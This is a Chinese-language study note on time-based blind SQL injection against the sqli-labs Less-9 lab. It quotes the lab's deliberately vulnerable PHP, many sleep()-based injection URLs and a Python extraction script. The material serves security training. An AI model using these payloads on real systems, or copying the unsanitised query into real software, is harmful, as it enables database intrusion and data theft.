学习笔记-渗透测试-SQL注入_005_时间盲注
1 时间盲注
时间盲注是一种比布尔盲注更极端的情况,它适用于无论输入与否前端已经不反馈任何东西了
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
这是sqli-labs靶场的第九关的PHP代码,我们能够看到,无论执行成功与否,返回的都是You are in...........
时间盲注与布尔型注入的区别在于,时间注入是利用sleep()
或benchmark()
等函数让数据库执行的时间变长
时间盲注多与if函数结合使用。如:if(a,b,c)
,此if语句的含义是,如果a为真则返回值为b,否则返回值为c
如:if(length(database())>1,sleep(5),1)
它的含义为,如果当前数据库名字符长度大于1,则执行sleep函数使数据库执行延迟,否则则返回1
所以时间注入的本质也是布尔注入,只不过是用数据库是否延迟执行的方式来表达是与否的逻辑
核心语法:
if(left(user(),1)='a',0,sleep(3));
语句构造方式与布尔盲注基本类似,只是在外面加了一层if判断,判断为真返回第二个值,不成功返回第三个值sleep(3)
2 攻击过程
2.1 判断注入点
在进行手工判断时,不需要等待sleep执行完成,只要超过正常执行时间,即可认为sleep()
得到了执行
http://192.168.0.102:81/Less-9/?id=1' and sleep(1000) --+
基本注入语句:
http://192.168.0.102:81/Less-9/?id=1' and if(substring(,1,1)='aaaa',sleep(1000),0) --+
http://192.168.0.102:81/Less-9/?id=1' and if(,sleep(1000),0) --+
2.2 获取用户名
在真正执行的过程中,语句和布尔注入很相似,仅仅只是使用if
加sleep
进行判断
2.2.1 判断用户名位数
http://192.168.0.102:81/Less-9/?id=1' and if(length(user())>0,sleep(1000),0) --+
if(length(user())>0,sleep(1000),0)
length(user())>0 为True 执行sleep(1000)
length(user())>0 为Flase 执行0
如果需要使用burp进行爆破,则需要修改burp的超时设置时间
Project options -> Connections -> Timeouts -> Normal(将数值修改至延时等待之下)
正常(Normal ) - 此设置用于大多数网络通信,并确定Burp怎样放弃请求和记录已发生超时前等待。
开放式应答(Open-ended responses) - 该设置只用在一个响应正在处理不包含内容长度或传输编码HTTP标头。在这种情况下,Burp确定传输已经完成之前等待指定的时间间隔。
域名解析(Domain name resolution ) - 此设置确定Burp如何重新进行成功的域名查找,如果目标主机地址频繁变化时需要设定为一个适当的低的值。
失败的域名解析(Failed domain name resolution ) - 此设置确定Burp多久会重新尝试不成功的域名查找。
在使用burp延时注入时,建议将正确选项延时,错误选项不执行,可以大幅度加快爆破速度
http://192.168.0.102:81/Less-9/?id=1' and if(length(user())=11111,sleep(1000),0) --+
2.2.2 获取当前用户名
http://192.168.0.102:81/Less-9/?id=1' and if(substring(user(),1,1)='a',sleep(1000),0) --+
substring()函数的作用是提取字符串中的字符,例如
substring('abcd',1,1) #返回a
substring('abcd',3,1) #返回c
substring('abcd',3,2) #返回cd
2.3 获取库名
2.3.1 获取当前库名
首先进行库名长度猜解,得到库名长度为8
http://192.168.0.102:81/Less-9/?id=1' and if(length(database())=4,sleep(1000),0) --+
burpsuit爆破获得库名
http://192.168.0.102:81/Less-9/?id=1' and if(substring(database(),1,1)='aaaa',sleep(1000),0) --+
集群炸弹爆破 获得库名security
验证
http://192.168.0.102:81/Less-9/?id=1' and if(substring(database(),1,8)='security',sleep(1000),0) --+
2.3.2 获取其他数据库信息
通过burp进行爆破,获得该主机有8个数据库
http://192.168.0.102:81/Less-9/?id=1' and if((select count(schema_name) from information_schema.schemata)=6,sleep(1000),0) --+
第一个数据库的名字长度为18
http://192.168.0.102:81/Less-9/?id=1' and if(length((select schema_name from information_schema.schemata limit 0,1))=18,sleep(1000),0) --+
进一步爆破发现它的名字为 information_schema
http://192.168.0.102:81/Less-9/?id=1' and if(substring((select schema_name from information_schema.schemata limit 0,1),1,1)='aaaaaa',sleep(1000),0) --+
2.4 获取表名
2.4.1 获取数据库中有多少个表
# count计数,不需要使用length
http://192.168.0.102:81/Less-9/?id=1' and if((select count(table_name) from information_schema.tables where table_schema='security')=2,sleep(1000),0) --+
数据库内有四个表
2.4.2 获取数据表名
# 数据表长6个字符
http://192.168.0.102:81/Less-9/?id=1' and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=1,sleep(1000),0) --+
# 数据表名 emails
http://192.168.0.102:81/Less-9/?id=1' and if(substring((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='aaaa',sleep(1000),0) --+
2.5 获取列名
# 得到emails表有两列
http://192.168.0.102:81/Less-9/?id=1' and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name='emails')=8,sleep(1000),0) --+
# 第一列名有2个字符
http://192.168.0.102:81/Less-9/?id=1' and if(length((select column_name from information_schema.columns where table_schema= 'security' and table_name= 'users' limit 0,1))=1,sleep(1000),0) --+
# 获取第一列列名为id
http://192.168.0.102:81/Less-9/?id=1' and if(substring((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),1,1)='aaaaa',sleep(1000),0) --+
2.6 获取数据
# 获取security.emails的email_id第一行数据有16位
http://192.168.0.102:81/Less-9/?id=1' and if(length((select email_id from security.emails limit 0,1))=16,sleep(1000),0) --+
# 第一个字符为D
http://192.168.0.102:81/Less-9/?id=1' and if(substring((select email_id from security.emails limit 0,1),1,1)='D',sleep(1000),0) --+
3 攻击脚本
import requests
import time
# 存在时间注入的注入点
url = "http://192.168.0.102:81/Less-9/?id=1'"
# 查库名
database = 'select schema_name from information_schema.schemata'
# 查列名:不同的列只需要替换table_name表名(如果使用十六进制可以不加引号)
column = 'select column_name from information_schema.columns where table_name="table_name"'
# 查当前数据库表名:不同库的表只需要修改database()(如果使用十六进制可以不加引号)
table = 'select table_name from information_schema.tables where table_schema=database()'
result = ''
for i in range(1,30): # 字符串截取长度
for j in range(48,122): # ASCII码遍历
payload = " and if(ascii(substring(({} limit 0,1),{},1))={},sleep(5),0) --+".format(database,i,j)
# 因为测试场景会有大量的失败,所以这里选择成功延时,失败不延时
# 测试第二个库只需要修改limit 1,1 依次类推
stime = time.time() # 开始时间
r = requests.get(url+payload)
etime = time.time() # 结束时间
if etime-stime >= 3: # 要排除网络环境的影响
result += chr(j) # j是结果,转换回字母
print('\r'+result,end='',flush=True) # 控制条原位输出
break
本文来自博客园,作者:kinghtxg,转载请注明原文链接:https://www.cnblogs.com/kinghtxg/articles/17158164.html